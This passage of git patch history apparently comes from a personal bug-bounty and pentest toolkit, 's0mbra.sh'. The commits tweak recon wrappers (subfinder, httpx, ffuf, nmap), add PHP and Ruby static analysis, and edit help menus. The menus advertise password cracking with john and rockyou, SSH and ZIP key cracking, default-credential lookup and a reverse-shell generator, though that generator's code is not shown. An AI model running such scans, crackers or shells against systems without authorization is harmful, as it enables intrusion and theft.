[USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" + echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" From 74384e1d30f9d0fd26cb3711b9ddbf5003e97ff2 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 2 Aug 2022 14:07:05 +0100 Subject: [PATCH 336/460] [s0mbra] Remove unused options --- s0mbra.sh | 79 +------------------------------------------------------ 1 file changed, 1 insertion(+), 78 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1ee8c7c..5b8f69b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -397,16 +397,6 @@ fu() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -#extracts API endpoint urls (eg. "/api/user/create") -endpoints() { - clear - FILE=$1 - PATH=$2 - echo -e "$BLUE[s0mbra] Extracting API endpoints from $FILE...$CLR" - /usr/bin/grep --color -n -e "$PATH" $FILE - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - api_fuzz() { clear echo -e "$BLUE[s0mbra] Fuzzing $1 API with httpie using endpoints file $2...$CLR" @@ -693,64 +683,6 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# enumerates available HTTP methods on host -methods() { - METHODS=( - OPTIONS - GET - HEAD - POST - PUT - DELETE - TRACE - PURGE - CONNECT - PROPFIND - PROPPATCH - MKCOL - COPY - MOVE - LOCK - UNLOCK - VERSION-CONTROL - REPORT - CHECKOUT - CHECKIN - UNCHECKOUT - MKWORKSPACE - UPDATE - LABEL - MERGE - BASELINE-CONTROL - MKACTIVITY - ORDERPATCH - ACL - PATCH - SEARCH - ARBITRARY - BIND - LINK - MKCALENDAR - MKREDIRECTREF - PRI - QUERY - REBIND - UNBIND - UNLINK - UPDATEREDIRECTREF) - echo -e "$BLUE[s0mbra] Enumerate available HTTP methods on $1...$CLR" - for HTTP_METHOD in "${METHODS[@]}"; do - echo -e "$YELLOW[s0mbra] Executing $HTTP_METHOD / HTTP/1.1...$CLR" - if [[ -z $2 ]]; then - curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 | grep HTTP - else - curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 - fi - echo - done - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - ### menu cmd=$1 @@ -851,12 +783,6 @@ case "$cmd" in fu) fu "$2" "$3" "$4" "$5" ;; - methods) - methods "$2" "$3" - ;; - endpoints) - endpoints "$2" "$3" - ;; apifuzz) api_fuzz "$2" "$3" ;; @@ -878,11 +804,8 @@ case "$cmd" in echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" - echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: WEB,APIs ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" - echo -e "$BLUE_BG:: API ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which contains PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" From 84bb369ae93081e8dbd3baa9cc085955ead7ae9c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 5 Aug 2022 18:17:42 +0100 Subject: [PATCH 337/460] [s0mbra] some updates in peek --- s0mbra.sh | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5b8f69b..3105301 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -216,7 +216,7 @@ lookaround() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" @@ -251,7 +251,7 @@ peek() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" @@ -277,14 +277,13 @@ recon() { FEROXBUSTER="1" X8="1" SUBDOMANIZER="1" - SELECTED_OPTIONS="nmap, nikto, ffuf, feroxbuster, x8, subdomanizer" + SELECTED_OPTIONS="nmap, nikto, ffuf, x8, subdomanizer" else # set options: NMAP=$(echo $2|grep 'nmap'|wc -l) NIKTO=$(echo $2|grep 'nikto'|wc -l) VHOSTS=$(echo $2|grep 'vhosts'|wc -l) FFUF=$(echo $2|grep 'ffuf'|wc -l) - FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) X8=$(echo $2|grep 'x8'|wc -l) SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) SELECTED_OPTIONS=$2 @@ -334,11 +333,6 @@ recon() { ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log fi - # feroxbuster - if [[ $FEROXBUSTER -eq "1" ]]; then - feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt --output $TMPDIR/s0mbra_feroxbuster_$HOSTNAME.log - fi - # x8 if [[ $X8 -eq "1" ]]; then x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 @@ -803,7 +797,7 @@ case "$cmd" in echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" - echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" + echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,x8,subdomanizer" echo -e "$BLUE_BG:: WEB,APIs ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" From 6da96d551043ed4298f1e0ebf2dfa2fa0aa4c481 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 7 Aug 2022 14:36:16 +0100 Subject: [PATCH 338/460] [s0mbra] peek() refactoring: create subdirectory for every peeked domain --- s0mbra.sh | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3105301..dcbc496 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -230,10 +230,13 @@ lookaround() { # quick lookaround, but for single domain - no need to create scope file peek() { - TMPDIR=$(pwd) + TMPDIR=$(pwd)/$1 + if [[ ! -d $TMPDIR ]]; then + mkdir -p $TMPDIR + fi START_TIME=$(date) DOMAIN=$1 - echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" + echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" # sublister echo -e "\n$GREEN--> sublister$CLR\n" @@ -244,15 +247,20 @@ peek() { subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.log # prepare list of uniqe subdomains - cat s0mbra_recon_sub* > step1 - sed 's/
/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > s0mbra_recon_subdomains_final.log - rm -f step* + cat $TMPDIR/s0mbra_recon_sub* > $TMPDIR/step1 + sed 's/
/#/g' $TMPDIR/step1 | tr '#' '\n' > $TMPDIR/step2 + sort -u -k 1 $TMPDIR/step2 > $TMPDIR/s0mbra_recon_subdomains_final.log + rm -f $TMPDIR/step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + # cleanup + echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" + rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log + rm -f $TMPDIR/s0mbra_recon_subfinder.log + END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" From 6a0003079796787ac9ac922a7b5870a042ae510b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 9 Aug 2022 02:11:27 +0100 Subject: [PATCH 339/460] [s0mbra] Added phpstan to phpsast command --- .gitignore | 8 ++---- composer.json | 5 ++++ composer.lock | 78 +++++++++++++++++++++++++++++++++++++++++++++++++++ s0mbra.sh | 1 + 4 files changed, 86 insertions(+), 6 deletions(-) create mode 100644 composer.json create mode 100644 composer.lock diff --git a/.gitignore b/.gitignore index 2f890da..3dcfe31 100644 --- a/.gitignore +++ b/.gitignore @@ -1,17 +1,13 @@ .idea/ -sword/output.html -sword/output.txt +.vscode dev/ .DS_Store -cco.pyc pefdefs.pyc imports/*.pyc htmlanalyzer/index.html -sword/OUTPUT /dirscan/10000folders.txt /dirscan/1000folders.txt *.pyc *.log -.vscode - .history/ .env +vendor/ diff --git a/composer.json b/composer.json new file mode 100644 index 0000000..62142a6 --- /dev/null +++ b/composer.json @@ -0,0 +1,5 @@ +{ + "require-dev": { + "phpstan/phpstan": "^1.8" + } +} diff --git a/composer.lock b/composer.lock new file mode 100644 index 0000000..51bd5e0 --- /dev/null +++ b/composer.lock @@ -0,0 +1,78 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "911267b8ad1b1bb25c74a4db8118c301", + "packages": [], + "packages-dev": [ + { + "name": "phpstan/phpstan", + "version": "1.8.2", + "source": { + "type": "git", + "url": "https://github.com/phpstan/phpstan.git", + "reference": "c53312ecc575caf07b0e90dee43883fdf90ca67c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpstan/phpstan/zipball/c53312ecc575caf07b0e90dee43883fdf90ca67c", + "reference": "c53312ecc575caf07b0e90dee43883fdf90ca67c", + "shasum": "" + }, + "require": { + "php": "^7.2|^8.0" + }, + "conflict": { + "phpstan/phpstan-shim": "*" + }, + "bin": [ + "phpstan", + "phpstan.phar" + ], + "type": "library", + "autoload": { + "files": [ + "bootstrap.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "PHPStan - PHP Static Analysis Tool", + "support": { + "issues": "https://github.com/phpstan/phpstan/issues", + "source": "https://github.com/phpstan/phpstan/tree/1.8.2" + }, + "funding": [ + { + "url": "https://github.com/ondrejmirtes", + "type": "github" + }, + { + "url": "https://github.com/phpstan", + "type": "github" + }, + { + "url": "https://www.patreon.com/phpstan", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpstan/phpstan", + "type": "tidelift" + } + ], + "time": "2022-07-20T09:57:31+00:00" + } + ], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": [], + "prefer-stable": false, + "prefer-lowest": false, + "platform": [], + "platform-dev": [], + "plugin-api-version": "2.1.0" +} diff --git a/s0mbra.sh b/s0mbra.sh index dcbc496..c861453 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -594,6 +594,7 @@ php_sast() { echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" phpcs --colors -vs $1 graudit $1 + ./vendor/bin/phpstan analyse $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 7434f4d2d1ef78a58b093c1b9fa915860ccbc778 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 9 Aug 2022 02:15:02 +0100 Subject: [PATCH 340/460] [s0mbra] phpsast changes --- composer.json | 2 +- s0mbra.sh | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/composer.json b/composer.json index 62142a6..5575f14 100644 --- a/composer.json +++ b/composer.json @@ -2,4 +2,4 @@ "require-dev": { "phpstan/phpstan": "^1.8" } -} +} \ No newline at end of file diff --git a/s0mbra.sh b/s0mbra.sh index c861453..c17be20 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -592,9 +592,9 @@ gql() { php_sast() { clear echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" - phpcs --colors -vs $1 - graudit $1 ./vendor/bin/phpstan analyse $1 + graudit $1 + phpcs --colors -vs $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From e5277b94a66b25069cbd4e6b53fd832ee40bb9a9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 10 Aug 2022 08:25:11 +0100 Subject: [PATCH 341/460] [s0mbra] rubysast for static analysis of Ruby apps --- s0mbra.sh | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index c17be20..3dae58e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -598,6 +598,14 @@ php_sast() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# runs Ruby SAST tools against Ruby application +ruby_sast() { + clear + echo -e "$BLUE[s0mbra] Running brakeman against $1...$CYAN" + brakeman $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # deso stuff with Android APK file apk() { clear @@ -801,6 +809,9 @@ case "$cmd" in generate_shells) generate_shells "$2" "$3" ;; + rubysast) + ruby_sast "$2" + ;; *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" @@ -837,6 +848,7 @@ case "$cmd" in echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" + echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t -> Static Code Analysis of Ruby dir(s)/file(s) with brakeman" echo -e "$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 3f1f8a7eaa30253c8cdec2c418a5ea4080d8decd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 10 Aug 2022 08:26:15 +0100 Subject: [PATCH 342/460] [s0mbra] rubysast for static analysis of Ruby apps --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3dae58e..5a0876d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -843,7 +843,7 @@ case "$cmd" in echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE_BG:: SOURCE CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: STATIC APPLICATION SECURITY TESTING ::\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" From 654c01daf279aa46ee9c5ce16b439ecaed1b42b3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 11 Aug 2022 10:04:16 +0100 Subject: [PATCH 343/460] [s0mbra] menu --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5a0876d..6e10e58 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -818,7 +818,7 @@ case "$cmd" in echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,x8,subdomanizer" - echo -e "$BLUE_BG:: WEB,APIs ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From 78066cdfbfc0dafc8f027f1a422270f7b06223d0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 12 Aug 2022 09:37:11 +0100 Subject: [PATCH 344/460] [s0mbra] menu --- s0mbra.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/s0mbra.sh b/s0mbra.sh index 6e10e58..395bb89 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -859,6 +859,7 @@ case "$cmd" in echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN hashme $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" + echo -e "$BLUE_BG\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CLR" ;; esac From e701ed0e74c217c81df2fea563ba708ef070855e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 15 Aug 2022 09:48:29 +0100 Subject: [PATCH 345/460] [s0mbra] menu --- s0mbra.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 395bb89..6e10e58 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -859,7 +859,6 @@ case "$cmd" in echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN hashme $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" - echo -e "$BLUE_BG\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CLR" ;; esac From 9bf26813ca6e3549c11331060a743cbfb9ce5808 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 15 Aug 2022 11:01:46 +0100 Subject: [PATCH 346/460] [s0mbra] delete temp folders created in peek() --- s0mbra.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/s0mbra.sh b/s0mbra.sh index 6e10e58..36add6d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -260,6 +260,7 @@ peek() { echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log rm -f $TMPDIR/s0mbra_recon_subfinder.log + rm -f $TMPDIR/hm* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From a37eca2514176d44c7e624b7b73ed31418beeef5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 16 Aug 2022 09:35:55 +0100 Subject: [PATCH 347/460] [s0mbra] peek() update --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 36add6d..41e7b90 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -260,7 +260,7 @@ peek() { echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log rm -f $TMPDIR/s0mbra_recon_subfinder.log - rm -f $TMPDIR/hm* + cd $TMPDIR && rm -f hm* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From a2fffa844b4f2a86c6bd45964e2b8c260c6ceabe Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 20 Aug 2022 21:15:36 +0100 Subject: [PATCH 348/460] [s0mbra] menu update --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 41e7b90..1bc18e7 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -830,8 +830,8 @@ case "$cmd" in echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [BUCKET]" echo -e "$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [BUCKET] - requires READ permissions (check with s3)" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" + echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" From c0313ac3e38101f2a488c56f52aed742c64d7694 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 17 Sep 2022 15:37:50 +0100 Subject: [PATCH 349/460] [s0mra] Use jadx for unjar command --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1bc18e7..4dcd0e6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -563,7 +563,7 @@ dex_to_jar() { unjar() { clear echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" - java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 + /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } # runs disassembly agains binary From 1c16c6a7210ad8540c66ddb8a24520f350300b25 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 29 Sep 2022 18:32:09 +0100 Subject: [PATCH 350/460] [s0mbra] cleanup after pysast --- s0mbra.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 4dcd0e6..ac05896 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -438,6 +438,8 @@ pysast() { echo -e "\n$BLUE[s0mbra] Running graudit against $DIR_NAME $CLR\n" graudit $1 + # cleanup + rm -rf .mypy_cache echo -e "\n$BLUE[s0mbra] Done.$CLR" } From 937ebb5ca55d004a1c82bbad4d0d5314b4db6bb6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 1 Oct 2022 00:46:29 +0100 Subject: [PATCH 351/460] [hasher] refactoring --- hasher.py | 26 +++++++++++++++++++------- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/hasher.py b/hasher.py index 2446a72..562bf93 100755 --- a/hasher.py +++ b/hasher.py @@ -10,6 +10,15 @@ usage: ./hasher.py [string_to_hash] """ +colors = { + "WHITE": '\33[37m', + "GREEN": '\33[32m', + "MAGENTA": '\33[35m', + "CYAN": '\33[36m', + "GREY": '\33[90m', + "LIGHTGREY": '\33[37m' +} + def usage(): ''' @@ -33,19 +42,22 @@ def main(s): ''' prints all hashes for provided string ''' - algorithms_available = ['blake2s', 'blake2b', 'sha224', - 'sha256', 'sha512', 'sha384', 'sha1', 'md5'] - print("\nHASH:\n") + algorithms_available = ['md5', 'sha1', 'sha224', 'sha256', 'sha384', + 'sha512', 'blake2s', 'blake2b'] + print(f"\n{colors['GREEN']}HASHES:{colors['WHITE']}\n") for h in algorithms_available: if hasattr(hashlib, h): try: h_method = getattr(hashlib, h) - print(f"{h}\t\t{h_method(s.encode('utf-8')).hexdigest()}") + print( + f"{colors['GREY']}{h}\t\t{colors['CYAN']}{h_method(s.encode('utf-8')).hexdigest()}") except TypeError as e: pass - print("\nENCODE:\n") - print("Base64 \t\t{}".format(base64.b64encode(s.encode('utf-8')))) - print("HEX encoded \t{}".format(hex_encode(s.encode('utf-8')))) + print(f"\n{colors['GREEN']}ENCODE:{colors['WHITE']}\n") + print( + f"{colors['GREY']}Base64 \t\t{colors['CYAN']}{base64.b64encode(s.encode('utf-8'))}") + print( + f"{colors['GREY']}HEX encoded \t{colors['CYAN']}{hex_encode(s.encode('utf-8'))}") if __name__ == "__main__": From 7f54acf9605536662f9e0936dac6cde66c0b157f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 7 Oct 2022 